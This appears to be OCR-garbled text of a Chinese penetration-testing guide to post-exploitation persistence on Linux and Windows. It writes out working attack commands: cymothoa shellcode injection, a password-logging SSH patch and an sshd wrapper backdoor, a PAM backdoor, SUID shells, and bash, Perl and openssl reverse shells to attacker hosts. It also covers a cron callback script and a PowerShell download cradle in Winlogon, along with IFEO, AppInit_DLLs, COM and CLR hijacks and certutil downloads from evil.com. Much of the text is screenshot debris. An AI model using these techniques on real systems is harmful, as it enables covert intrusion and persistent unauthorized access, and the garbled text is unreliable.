Schedulingagént 2b]publisher REG_SZ win.rar GmbH
wic [a]Uninstallstring  REG_SZ C:\Program Files\WinRAR\uninstall.exe
T R i VersionMajor  REG_DWORD 0x00000005 (5)
URL #¥VersionMinor  REG_DWORD 0x00000015 (21)
UserPictureChange
UserState = | Output
VFUProvider s e
WaaSAssessment e
WebCheck T » Qutput
WinBio ~
; =% aEE E= Fh
WTndcvws Black Level Backup & tEaE =
Wj”dw’s Te QO g e & uninstall.dat 2019/8/4 15:26 DAT it 2Ke
WindowsAnytimeUpgrade 1) uninstall.exe 2015/8/4 15:26 = 496 KB
WindowsBackup & Downloads  #
WindowsUpdate %] Documents o+
WINEVT deman -
Wordpad
#*
Waosc ‘
WSMAN } Music
XWizards B videos
T £ OneDrive 4.
MRS Lo License.ixt 2015/2/16 2008 MEE 5 KB
1y #  [2] Order.htm 2010/11/25 14:15 HTM 325 3kB
Ausic [8] Rar.exe 2015/2/16 20:18 HEEE 499 KB
Hsaz Rar.txt 2015/2/ wy SEHINTIE — b e
RarExt.dll 2015/2f
1eDrive 7 RarExt22.dll 2015/2/ IEER 2 NREM Output #5015 WinRAR
£ B RarFiles.lst 0143/ BiIREEE—1E R uninstall.exe 893k
& rarnew.dat 2019/8/.
# 5 rarrogkey B EIRERRSIER)
ReadMe.txt 2015/2f
% UNACEV2.DLL 2005/8/ 9 ﬁﬁﬁw{fF(S)
B Uninstall.exe 2015/2f
Bl Uninstall.Ist 2015/2f 0 tHRFASTHEHEE(C)
[ UnRAR.exe 2015/2f
WhatsNew.txt 2015/2f
[7] WinCon.SFX 2015/2f FHEEE
D WinConB4.5FX 2015/2/ roew=y TR ZET RO
% WinRAR.chm 2014/8/27 22:41 HEA HTML .. 388 KB
B WinRAR.exe 2015/2/16 23:02 RIFEERE 1,434 KB
El
E=5d EXaE E=idl Foh
& uninstall.dat 2019/8/4 15:26 DAT Zr{% 2KB
ﬁl uninstall.exe 2019/8/4 15:26 iz 2A96 KB

% % %


https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564903394525.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564903960015.jpg
https://demonsec666.oss-cn-qingdao.aliyuncs.com/1564904000551.jpg

EREREER HESEME
EECEEE TEDDES, INISTEERT, AEETER . EAWES.
BEHRE Windows T8
a0 - - @
= - EEE =EEA Fuh REE 2
[ Microsoft SQL Server 2016 LocalDB Microsoft Corporation 2019/8/3 233 MB  13.1.4001.0
[J Microsoft System CLR Types for SQL Server 2019 CTP2.2  Microsoft Corporation 2019/8/3 6.26 MB  15.0.1200.24
3 Microsoft System CLR Types for SQL Server 2019 CTP2.2 Microsoft Corporation 2019/8/3 433 MB  15.0.1200.24
[E| Microsoft Visual C++ 2010 64 Redistributable - 10.0... Microsoft Corparation 2019/8/3 13.8 MB  10.0.40219
[%5 Microsoft Visual C++ 2010 x86 Redistributable - 10.0... Microsoft Corporation 2019/8/3 1.1 MB  10.0.40219
ﬁ'Microso& Visual C++ 2013 Redistributable (x64) - 12.0... Microsoft Corporation 2019/8/3 20.5 MB  12.0.30501.0
‘ﬁMicroso& Visual C++ 2015-2019 Redistributable (x64) .. Microsoft Corporation 2019/8/3 231 MB  14.22.27821.0
ﬁ'Microsoﬁ Visual C++ 2015-2019 Redistributable (x88) ... Microsoft Corporation 2019/8/3 20,1 MB  14.22.27821.0
%Mi:rosoh Visual Studio Installer Microsoft Corparation 2019/8/3 2.2.3073.701
G Parallels Tools Parallels International GmbH 2019/8/3 223 MB  14.0.1.45154
S Python 3.7.4 (32-bit) Python Software Foundation 2019/8/3 937 MB  3.7.4150.0
& Python Launcher Python Software Foundation 2019/8/3 176 MB  3.7.6762.0
[#]test version 1 2019/8/4 241 MB 1
v visual Studio Enterprise 2019 Microsoft Corporation 2019/8/3 16.2.29123.88
[®5Windows SDK AddOn Microsoft Corporation 2019/8/3 152 KB 10.1.0.0
5/ Windows Software Development Kit - Windows 10.0.18..  Microsoft Corporation 2019/8/3 235GB 10.1.18362.1
gWiHRAR 5.21 (64 i) win.rar GmbH 2019/8/3 5.21.0 v
TR, winrar GmbH =R 5210 5.
=
AT
3 Microsoft SQL Server 2016 LocalDB Microsoft Corporation 2019/8/3 233
5 Microsoft System CLR Types fo E1EE WinRAR poration 2019/8/3 6.26
|3 Microsoft System CLR Types fo poration 2019/8/3 433
[55| Microsoft Visual C++ 2010 x64 . o5 poration 2019/8/3 138
7 . PElE, WinRAR 152 i
[ Microsoft Visual C++ 2010 =86 poration 2019/8/3 11.1
) Microsoft Visual C++ 2013 Red poration 2019/8/3 20,5
) Microsoft Visual C++ 2015-201 poration 2019/8/3 231
) Microsoft Visual C++ 2015-201 BN poration 2019/8/3 201
D@Microsoﬂ: Visual Studio Installen poration 2019/8/3
@ Parallels Tools Parallels International GmbH 2019/8/3 22.3
L) Python 3.7.4 (32-bit) Python Software Foundation 2019/8/3 Q3.7
& python Launcher Python Software Foundation 2019/8/3 1.76
[Eltest version 1 2019/8/4 241
v¢] Visual Studio Enterprise 2019 Microsoft Corporation 2019/8/3
[mE| Windows SDK AddCn Microsoft Corporation 2019/8/3 152
9 Windows Software Development Kit - Windows 10.0.18.. Microsoft Corporation 2019/8/3 2358
EWinRAR 5.21 (64 ) win.rar GmbH 2019/8/3

A
A BEEE > BF > B

b 4 e
SRR
& Windows TIgE

EEFE  Uninstall Status
Please wait whie test s removed from your computer.

mav 3

win rar GmhH =257

5E21n

5 Uninstalling test...
[EMicrosof

=EE
2019/83

Fh =23 &)
200MB 4601055

[E]Microsol ] iR - 08
1 Microsof
[ Microsof
3 microsof
& Microsof
[EMicrosol
[ Microsof
¥ Microsol
M Microsof
FMicrosol
D€ MiCroSol s e
@Parallels Tools

% Python 3.7.4 (32-bit)
7' Python Launcher

o) Visual Studio Enterpril

ﬁ win.rar Gml

XHF BEE R0 =BV #EH)
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http://www.hexacorn.com/blog/2019/02/02/beyond—-good-ol-run—key—
part=101/
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- L

B amsees
SR REE FEV) HESEN) EHH

HHEII\HKEY_CLASSES_ROOT\Directory\Backgroundishell\test

| dfont auto file

» || Disshell.DfsShell

» || DisShell.DfsShell.1

» || Dfsshell.DfsShellAdmin
» || DisShell.DfsShellAdmin.1

b

b4

>

b4

> || di_auto_flle

> | diag_auto_file

» | | Diagnostic.Cabinet
» | | Diagnostic.Config
» | | Diagnostic.Document

> | | Diagnostic.Perfmon.Config

>: | | Diagnostic.Perfmon.Document
> . Diagnostic.Resmon.Config

| DiagnosticLog

> | dict_auto file

5| dif auto file

5| diff auto file

5 || DirectDraw

5 || DirectDraw?

> || DirectDrawClipper

~ | | Directory

v | | Background
D[] shel

> || AnyCode

> [} emd

| | Powershell

=1

v test

~ shellex

| Defaultlcon

5[] shell

5 | shellex

~

E
EL[EN

E=il
REG_SZ

) REE) FE(V) SEA) WEH)

EEV)
HFAT0)
FH(E)

WARE(P)

HEVINHKEY_CLASSES_ ROOT\Dir Y\Back

> || Dfsshell DfsShell ),
» | DfsShellDfsShell.1 (
5 || DfsShell DfsShelladmin

> . DisShell.DfsShellAdmin.1

» | di_auto file

3 || diag_auto_file

3 | Diagnostic.Cabinet

> [l Diagnostic.Canfig

»> . Diagnostic.Document

5 || Diagnostic.Perfmon.Config

3 || Diagnostic.Perfmon.Document
> DiagnosticResman.Config

 diff auto file
 DirectDraw
DirectDraw?

. DirectDrawClipper
Directory

| v || Background
|~ | shell

© > | AnyCode

Pyl omd

Powershell

test

Y SRV e

>
M

» . dfont auto_file Az

(B

REG SZ

nE
chwindows\system32\calc.exe

s E3V)
E Visual Studio BFIFFV)
=

3

CE

Calculator

Standard

MR

F2=W

1 BREED)
o AR

http://www.hexacorn.com/blog/category/autostart—persistence/page/17/

RGN
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HKCR\Directory\Background\shell\test
@="Launch Chrome”
HKCR\Directory\Background\shell\test\command
@="c:\\windows\\system32\\calc.exe”

9. linux HPR4EFy

linux Z2HRE, FRENRENG, MABERS, UTHBAANEEFER
Bea, SEPRIREA, RS T ESNRIKSHIZREBHRMNE,

9.1 #EHEA
£ cymothoa
https://github.com/jorik041/cymothoa

ps —aux BETEFM pid (windows {# /8 tasklist)

Cymothoa —p (B#F#FE pid) 982 —s(shellcode 47E) 1-y 3333(1EE payload fRS i
)

nc —nv 192.168.31.47 4444

ZITHEBERmE



Complete!

[ roct@bogon
bgrep.c
cymothoa.c
cymothoa.h
[root@bogon
[root@bogon
bgrep.c

cymothoa.c
[root@bogon

SN
I
\ T W
(
(b

Ver.1

beta) - Runtime shellcode injection,

cymothoa-1-betal# 1s
payloads.h
personalization.h

syscalls.txt
Makefile udp server.c

payloads

cymothoa-1-betal# gcc cymothoa.c -o cymothoa
cymothoa-1-betal# ls
cymothoa.h ayloads

payloads h syscalls.txt
Makefile personalization.h udp server.c

cymothoa-1-betal# ./cymothoa

|
|
1. K W )
]I _l
T VA W O

THFEANTAUT:

for stealthy backdoors...



.fcymothoa

|
|
s
|
)

S
Ver.1l (beta) - Runtime shellcode injection, for stealthy backdoors...

By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)
from ES-Malaria by ElectronicSouls (http://www.0x4553.0rg).

Usage:
cymothoa -p <pid> -s <shellcode number= [options]

Main options:

e injection (default /lib/1d)
-Xp" permission e /proc/pid/maps...
rPglun name fo emory (default /lib/ld)
S /proc/pid/maps...

don't fork partnt process
crwdtc pdyIUdd thltdd (probably you need also -F)

emory address
dnn't p ersistent memory address

don't use alarm
use setitimer sc
don't use setitimer scheduler

VERTE, EMKN, BARAFHIIES 0x00000000,{FERFRIFHLH]



: /tmp iothoa-1-beta# ./cymothoa -p 6839 -s 1 -y 4444
[+] attaching to ss 6039

register info:

eax value: Oxfffffffffffffdfe ebx value: @x7ffcffb8le30
: @x7ffcffb81dbs eip value: @x7f6715badff7

new esp: @x7ffcffbsldbe
payload preamble: fork
injecting code into ©x00000000
copy general purpose registers
opsie!: Input/output error
Segmentation fault
o/t iothoa-1-beta#
a-1l-beta#
ymothoa-1-heta# J]

9.2 SSH A K& T =

1) openssh yum 8%k, EfEIFE, EBRS
http://0cx.cc/sshgetpassword.jspx

tar —zxvf openssh-5.9p1.tar.gz
tar —zxvf 0x06-openssh-5.9p1.patch.tar.gz

vim includes.h /MEREI1ZEE, iERXHEAE,

/*

#tdefine ILOG "/tmp/ilog" /IR EFRANOBF 2255
#define OLOG "/tmp/olog" [[EEANEFRR 2R A 2255
#define SECRETPW "root123"  //{R/GI89ZZRE

*/

2) ssh wrapper IE@GIIFIFA
https://evilcg.me/archives/Pentest_SSH.html

BT init BB 5IRYZ/ usr/sbin/sshd,BIZA#172l getpeername XEMRf &, 1E
NICESEM, FEMITTF—a, Bh/usr/bin/sshd, XERIE sshd, RIAK
sshd W IFim 3B T top EiEE, & fork — N FHELEBEMATE, XN Fift

2, REMTAKRK, MEEENITARIIANAIER/ usr/sbin/sshd, XtFFxHl
MXEZFEART, WEFARTERARLEHREERZIERT, getpeername



BERAVIRENEIZE F iRk TCP Rim O, WRZ 19526 #H1T sh 457 shell, FIAH
=

B

[root@localhost ~J# cd /usr/sbin

[root@localhost sbin]# mv sshd ../bin

[root@localhost sbinl# echo '#!/usr/bin/perl' >sshd

[root@localhost sbinl# echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /*..4A/);' >>
sshd

[root@localhost sbin]# echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>ss
hd

[root@localhost sbin]# chmod u+x sshd

[root@localhost sbin]# /etc/init.d/sshd restart

Y ) Ui -

socat STDIOTCP4:target_ip:22,sourceport=19526

9.3 PAM % H

1) TEXRARA pam B, EUURE, EFRIFLEN so HITEH
https://gorgias.me/2018/03/25/Linux—
%E5%90%8E%E6%B8%97%E9%80%8F%E7%AC%94%E8%AE%B0O-
PAM%E5%90%8E%E9%97%A8/

FERE IR TR PAM R

rem —-qa [grep pam

IIELE PAM

182 pamunixauth.c XAEETITH T A2, 4L,

IFTISHIXEE . modules/pamunix/.libs/pamunix.so, T/ J&45 root123,
=SE/tmp/pslog 107 root BRE43,

9.4 ineted IE 5] 511 A

https://klionsec.github.io/2017/10/23/inetd-backdoor/



9.5 BT SUID Hy&FATHEM A
BT, SR root B, FHATUTRIGS

cp /bin/bash /.woot

chmod 4755 /.woot

Is —al /.woot

—rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot

L8R, It AR E At F A SRR, B RHNENR, SEERERS
TR TR,

XHEFEHNB—REAZLEN, RENTREXH( EXHRN&IIENLE
“7, FIATEERXXHE R THITRE) .

IME, MA—TEERP, BMRERZXTEN:

id

uid=1000(fw) gid=1000(fw) groups=1000(fw)
/.woot.woot-2.05b$ id

uid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$

R LRTIE?
&2 bash2 3 suid B—E4F DRYIEHE. {BXtAZAFIKAY:

/.woot —p
id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)

{EA-p SEFKEN— root shell. X1 euid IE B £ effective user id

XEZFHERNE, (FA—TEERFPMITIXT SUID shell i, —EZ(ERE
B2

A EHIBLRE SUID FIXXH:

find / —perm +4000 -Is



XM SIREIRA SUID (RIS 41,

9.6 B ARG ML
9.7 L F shell ByrzX

1) BHA:

vps H14T nc —Ivvp 4444

BHREHIIT bash —i >& /dev/tcp/172.16.1.1/4444 0>&1
2) perl 5z :
FiE—:

perl —e 'use' Socket;$i="x.x.x.x";$p=5555;s0cket(S,PF_INET,SOCK_STREAM,getprot
obyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");ope
n(STDOUT,">&S");0pen(STDERR,">&S");exec("/bin/sh —i");};'

RiE—:

perl —-MIO —e '$p=fork;exit,if($p);$c=new 10::Socket::INET(PeerAddr,"x.x.x.x:5555");S
TDIN->fdopen($c,r);$~—>fdopen($c,w);system$_ while<>;'

3) openssl IR E L

7£ vps A RY SSL IEBRIAFARREAXT

openssl req —x509 —newkey rsa:4096 —keyout key.pem —out cert.pem —days 365 -n

odes

£ vps L REIF 58 shell BYim O

openssl| s_server —quiet —key key.pem —cert cert.pem —port 4433

7£ B85 L F openss| IN%3 =58 shell BORE



mkfifo /tmp/s;/bin/bash —i < /tmp/s 2>&1|openssl| s_client —quiet —connect vps:44
3 > /tmp/s;rm /tmp/s

9.8 EM AL T RIES
1) FIF Unix/Linux B Bash #1 Crond SLIIRIZRINAE, RIF/RE EEEIAW
M2g.

7Bl /etc/backdoor.sh HIAXH (BFECK) , FIRZMA#RTRE. AT
AR EREBE5IR%E] 8.8.8.8 #Y 53 iw[,

#!/bin/bash

if netstat —anolgrep —v grep | grep "8.8.8.8">/dev/null
then

echo "OK">/dev/null

else

/sbin/iptables ——policy INPUT ACCEPT
/sbin/iptables ——policy OUTPUT ACCEPT

bash —-i >& /dev/tcp/8.8.8.8/53 0>&1

fi

chmod +755 /etc/backdoor.sh
REBRINEZEEEHR—T /etc/crontab it EEMNHIT.

nano /etc/crontab £ /etc/crontab XHRIMAX—1T, KEKES 1 DHNIT—
R

*/1 % * * * root /etc/xxxx

=EERF—T crond RS, (FEIRITHRERAXA—EF, B1TEIE)

service cron reload

service cron start



RIS TE 8.8.8.8 HIARSS 28 L{F A NC #EUK Shell BNF],
nc —wv —Ip 53
9.9 ZFHIE rootkit

http://www.vuln.cn/6319
https://phyb0x.github.io/2018/10/23/1inux%E6%9D%83%E9%99%90%E7
%BB%B4%E6%8C%81-%E5%90%8E%E9%97%A8/

9.10 apache 1 nginx f lua ik

10 windows T H F R AT PR 4ERF

EMERABAIREE N — IR EREIEE, ERAR —EARNSIRERBRNRFME—
EHERENAEFNEE,

B EF
HKEY CLASSESROOT AT FME—LExRE, £, KIXEKE
14
HKEY CURRENTCONFIG P FER XAt BN RS S RIRE
FEXHER
HKEY CURRENTUSER AT EFESRIAFRED
HKEY CURRENTUSERLOCALSETTI AT EFESRI AT ENAEEN
NGS
HKEY LOCALMACHINE AT FtE SRR YRS
HKEY_USERS AT Z6&3 A P RBIAEC &I

B17/151T%H

BITREAXREFIEHN, B2 REXTI FRREZBEFIE (XE/
FRERFER, UHMRIRABEERREMEIT) .



RunOnce #{EEF Run 8218, B—MXZBIETF, RunOnce BERHIT—IX,
BRERITIESHBEsER.

P

HKEY_CURRENT_USER \# 4 \##x\#J Windows \ CurrentVersion \ Run #2
HKEY_CURRENT_USER \# 4 \##\#J Windows \ CurrentVersion \fJ RunOnce

g
pali

g2

HKEY_LOCAL_MACHINE \ SOFTWARE \##x\#J Windows \ CurrentVersion \ Run
th

HKEY_LOCAL_MACHINE \ SOFTWARE \{##t\#J Windows \ CurrentVersion \fJ Run
Once

HKEY_LOCAL_MACHINE \ SOFTWARE \{##t\#J Windows \ CurrentVersion \IEZ&\
RE\IBTT

10.1 BootExecute %41

AIUBE EXREI/S 60 Natvice #2%, AMEREIRNTZREM RSO NG RHHE
e, WRRIEEES (SMSS.EXE) #1T WINDOWSNT BRI H Ak
BiiAHiEF, BT SMSS.EXE £/ Windows FRAMEB ZFIEE), EIttSE
REEFRICRNES HRINEER TR EMRBEER:

HKEY_LOCAL_MACHINE \&%;\ CurrentControlSet \12#l\ hivelist
HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet002 \ Control \ Session Manager

EREMERTE—RN BootExecute BIZFHFHERE, THERINER
autocheck autochk *, BFRAABMINNELBMNE, XTEINEENER
EERZERERETRBITEINTHN, FAAEERSNEELR,

10.2 fj P A%

Userinit jE iR EBRIFR TR H#HITERRY, WinLogon HZINEHAIFEERE R
B, ATAERERERRINSHFER, BIARE:



HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion
\ Winlogon

—RIERT, EBAMENK userinit.exe, AT ZFRIVEFERIESHRAZ
TR, B, ERENHEFIMARERER,

55 msf B9 PowerShell B9757%, FIBUABIFTHfEITRR

PowerShell #9323 :

Set-ItemProperty“HKLM: \ SOFTWARE \ Microsoft \ WINDOWS NT \ CurrentVersi
on \ Winlogon”-name Userinit —value“C: \ Windows \ system32 \ userinit.exe, po
wershell.exe —nop —w hidden -¢c $ w = new- object net.webclient; $ w.proxy = [Net.
WebRequest] :: GetSystemWebProxy () ; $ w.Proxy.Credentials = [Net.CredentialC
ache] :: DefaultCredentials; IEX $ w.downloadstring (‘http: //192.168, 2.11: 8080
/ kaMhC1') ;"

#powerhell [<5E shell F9E 3L &1 248 mst F1f web_delivery #21%

10.3 LogonScripts 4

Logon Scripts BEBM AT RERHEIIT, SEREREIHRRFNEZE, B
H’E:

HKEY_CURRENT_USER \¥ 8\
BIRFRFEHEE: UserlnitMprLogonScript
BERENENHIZ: C: \ 1.BAT

10.4 B34
FaRBEM, EREMXHRNUE, BPIMNEXHRKTTINEX MK,

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Expl
orer \ User Shell Folders

HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Expl
orer \ Shell X%

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ E
xplorer \ Shell {43



HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ E
xplorer \FAFF 75 XX {432

10.5 Y g B F X%
AR L= Internet Explorer BahBTHNELRY DLL &R

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ E
xplorer \ Browser Helper 3%

10.6 Applnit_DLLs

EMRPEINZERNTMRIA: ApplnitDLLs & LoadAppiniDLLs (win2003
=B, BEUIMFE) , EE* diIEnEzH#ERN, 1EE AppInitDLLs A7
i, %RE1E, 18/ LoadLibrary () api JIEEF dll.PS:xp RIERZAME
LoadAppiniDLLs SEAR IR

FERERH, I DLLOEAARZRIEARIFRAGITHE, MESEAZMEER dIl X4
HYAE

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion
\ Windows \ Applnit_DLLs

SEIACRS:

HKEY hKey;

DWORD dwDisposition;

const char path[] = "C:\\Applnit.dil";

DWORD dwData = 1,
RegCreateKeyEXA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT
\\CurrentVersion\\Windows", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDispositi
on);

RegSetValueExA(hKey, "Applnit_DLLs", 0, REG_SZ, (BYTE*)path, (1 + :IstrlenA(pat
h)));

RegSetValueExA(hKey, "LoadApplnit_DLLs", 0, REG_DWORD, (BYTE*)& dwData, siz
eof(DWORD));



10.7 SC{5 2B

X REMEEARILIEET BRI XEBXBEAENNNEER, $l2.doc
AT A A L2 Microsoft Word, ZHAF W iE.doc X{4RTESFL =B 50 Word $TF
=X,

9 Windows NZEREREFRBIXHXREZHT BRREN (MAAREXHKIRE
XHERE) BT RBZXNN—FXXHRE, XMXXH RN AREREBFXINE
ARNEFSGL,

tean:

ixt — > txtfile - > {“open”: “notepad.exe%1”, “4g%E”: “notepad.exe%1”, ..}
XU RBS XMHEEMNNN KR, AINET ASSOC s LEFTEN

cmd> assoc .txt

TXT = txtfile

cmd> ftype txtfile

txtfile =%SystemRoot%)\ system32 \ NOTEPAD.EXE%!1

EPENESIESS

HKEY_CURRENT_USER \ Software \ Classe //{R77 7 HEIAFP X4 XX E
HKEY_LOCAL_MACHINE \ Software \ Classe //{&7F 7 At LFIERF IR E
HKEY_CLASS_ROOT // LEM MIE THRESH, &N TIhOAEMEILNNE
HKEY_CURRENT_USER \# {4\ #3%%\# Windows \ CurrentVersion \ Explorer #\ File
Exts \

[/REFETERERE THAAR” RERIANXERER
#t AP REX R ERIR
# BB, \\ FileExts \\, HKAZIREK HKCU, REZT R HKLM, ARE—1TX
HREE5 R TR XK MIRBRENMNNFEE,

10.8 B &% (IFEO)

BUGENTS (BESUEIITIEI) HXRE Windows AR RIEIXFEFRIThEE, (B
EMENFERRBEENME., SAPNENNNERFE, BRERSMSHINTE
F (BIEN“ERBEER, exe XfH") RMmIANRIES, HPESERITEFNREREZEMN



XH#, REHIINSREFEIITIZIER. X LEERIEFN, Windows B
IR ERBEPEWMENBRGHTFHE, URFENZEFRBMTEERA
FHE, MEENNFEPEEH “dubugger” BER, HRAHEENEFRERER
REBERENER, ZEHRITHZER "B NERER.

BRER[RME: SRITANZERER A, METHEEER B
EMRME:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion

\ Image File Execution Options

Eean:

1, #EDEME “HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \
CurrentVersion \ Image File Execution Options” B & TH iexplore.exe

, awl—MERREFFAHE (REG_SZ) , ARMEN CALC.EXE RUHATER?R “C: \
Windows \ System32 T\ CALC.EXE”
3, 11T IEXPLORE.EXE BEJ#1T CALC.EXE
#aR AT
#reg add“HKLM \ HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows N
T \ CurrentVersion \ Image File Execution Options \ notepad.exe”/ v debugger / t
REG_SZ / d“c: \ windows \ system32 \ calc.exe”

BRXHFIREERZEFAIEEN, *E?ES(EIY%M ] — BUESERATIADU R IUA
T EERIRIBMBEY GlobalFlag M{E, AZIiERF A FFRUERHERGE, SHATER BRY
MR, BEEMREAZNEME, BN BIETHNARE,

B 5% T3 GFlages.exe H%%£28 DBG IR
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4FOC-ADA4-3
7C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi

1, =i Silent Process Exit

2, BIRMEEEELIFEAE, bl Notepad.exe B

3, IREERAEEZ AFFERATEER B R IEN S o) TR AE

4, Monitor Process M IBEEMITHIERE, tEal: c: \ windows \ system32 \ calc.ex


https://www.anquanke.com/post/id/151425
https://www.anquanke.com/post/id/151425

e
5, N ->HE

SAIE+TFF NOTEPAD.EXE IRH/EBIRTE 2R calc.exe, [ERT NOTEPAD.EXE Xt z6Y7:fft
KM GlobalFlag FToiE{aEl{E

#anLAT:

#reg add“HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Curr
entVersion \ Image File Execution Options \ notepad.exe”/ v GlobalFlag / t REG_D
WORD / d 512

#reg add“HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Curr
entVersion \ Image File Execution Options \ notepad.exe”/ v ReportingMode / t RE
G_DWORD / d 1

#reg add“HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ Curr
entVersion \ SilentProcessExit \ notepad.exe”/ v MonitorProcess / t REG_SZ / d

“c: \ windows \ system32 \ calc.exe”

TESEPRRYRIESH, 7 windows2008 R Z fERIRRAS, SHIAMER shift FEI/G
TROEHR, BB HBIXEHSRARENRE, WENTMUERBRGHITRA,
REMRBARERE R,

10.9 COM #h#¢

COM (AHNHRER) BHIRATRN TITEN TR GE-ENNGEALNIT
RERFARN—MRREF LR, AFEARRE—TRITFFREARIEHITE
INEM N 2RI SRAVIED, S0 COM XMRHE—1RH CLSID HE— ID E
X, KZE COM EHERERFFIEM, HHRREMRFOEFIRRT

(CLSID) 8y GUID #%iR, thiiZi% CLSID MENRNEMIES, mH— A
EFRZARENNRE, thE@ET CLSID RIHTRMN,
COM BAMMNRIER (HUHNRIER) NES
COM AAf4H DLL #l EXE XHF LB AT RBFTE R

COM 5188, Fakx
COM AHIINEMZES CLSID TR EMEREE

tean:



BF Ctrl + RETHIZITEO, #MA:

{20D04FEO-3AEA-1069-A2D8-08002B30309D} - >FHIER il
:: {645FF040-5081-101B-9F08-00AA002F954E} - >[E]Ukih

{EFEY ProcessMonitor Af IAE RN A2 FHidiz:

1, HKEY_CURRENT_USER \ Software \ Classes T\ CLSID
2, HKEY_CLASSES_ROOT \ CLSID

3, HKEY_LOCAL_MACHINE \ SOFTWARE \f##\#Y Windows \ CurrentVersion \ Sh
ellCompatibility \3$5\

HHIEFH COM AR, AT

#,: HKCU \ Software \ Classes \ CLSID
FrI B CLSID TH &

— PR ID, FMEEBIITETHELS

Hiz,
5 DLL # #5128k, B2

COM AHr#iFEIn T —ER— iz, theJldZE
— > Windows API, #iFFRrEIIXEAR~—EE—"1 DLL, I:,EJL‘X%—/P.mmSK
4, T PE XM, DLL X4,

MSF B 7 FIIF COM £h#FrIiER : exploit / windows / local /

bypassuac_comhijack, ZERENEZA NS UAC, BRRIESZE: COM
15

10.10 CLR

CLR £#R Common Language Runtime (AHIBEETE) , @— T HZMERE
RIESEANGEITINE., TF

SEERANENET], FEERYETHHAEHRE
X, x<¥Fx86Fx64, FHEEWELhIFIBE Net i2%,

cmd> SET COR_ENABLE_PROFILING =1

cmd> SET COR_PROFILER = {11111111-1111-1111-1111-111111111111}

# {11111 11-1111=-1111-1111=-111111111113FR R CLSID FliEBAEEEE, REMNRAERC
LSID AN HRFAT

cmd> certutil.exe —urlcache —split —f http://evil.com/msg.dll
# & dl

cmd> certutil.exe —urlcache —split —f http://evil.com/msg.dll fflFF


https://payloads.online/archivers/2018-10-14/1
https://payloads.online/archivers/2018-10-14/1

#BRR T ESUFRIETE

cmd> SET KEY = HKEY_CURRENT_USER \ Software \ Classes \ CLSID \ {11111111-
MM-M1-1111-111111111111} \ InProcServe *

# FrEFI{1111111-1111-1111-1111-111111111111} \ InProcServe *

cmd> REG.EXE ADD%KEY%/ V ThreadingModel / T REG_SZ / D Apartment / F.

# $73E REG_SZ £ AU#(E ThreadingModel: Apartment

cmd> REG.EXE ADD%KEY%/ VE / T REG_SZ / D“%CD%\ msg.dll”/ F

# ZEENARR R (ER msg.dll BEEE

cmd>%FI cmd FEBh.net #2%, LEal: powershell, BIRJ#L1T dll

DLL#RESE: HTTPS: //3gstudent.github.io/3gstudent.github.io/Use-Office-to-

maintain—persistence/

EF CLR EERBIMITARPEIEANKRER, SERENRTE, TUEFEARE
1B#E, aMER WMI (B WM ENIMEEEEERASE R FTHENERT
BEAERN)

/

86 R4t

wmic ENVIRONMENT gll#& name =“COR_ENABLE_PROFILING”, username =“%user
name%”, VariableValue =“1”

wmic ENVIRONMENT 81l name =“COR_PROFILER”, username =“%username
%”, VariableValue =“{111M1M1-11-11-11-1111111113}"

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg.dll

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg.dll #flB&

SET KEY = HKEY_CURRENT_USER \ Software \ Classes \ CLSID \ {11111111-1111-11
11-1111-111111111111} \ InProcServe *

REG.EXE ADD%KEY%/ VE / T REG_SZ / D“%CD%\ msg.dll”’/ F

REG.EXE ADD%KEY %/ V ThreadingModel / T REG_SZ / D Apartment / F.

64 LIRS



wmic ENVIRONMENT gll#£ name =“COR_ENABLE_PROFILING”, username =“%user
name%”, VariableValue =“1"

wmic ENVIRONMENT 67 name =“COR_PROFILER”, username =“%username

%”, VariableValue =“{11111111-1111-11-1111-11111111111}7

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg.dll

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg.dll flF®

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg_x64.dll

certutil.exe —urlcache —split —f https://raw.githubusercontent.com/3gstudent/test/
master/msg_x64.dll flF®

SET KEY = HKEY_CURRENT_USER \ Software \ Classes \ CLSID \ {11111111-1111-11
M-11-111111111111} \ InProcServe *

REG.EXE ADD%KEY%/ VE / T REG_SZ / D“%CD%\ msg_x64.dll”/ F

REG.EXE ADD%KEY%/ V ThreadingModel / T REG_SZ / D Apartment / F.

SET KEY = HKEY_CURRENT_USER \ Software \ Classes \ WoW6432Node \ CLSID
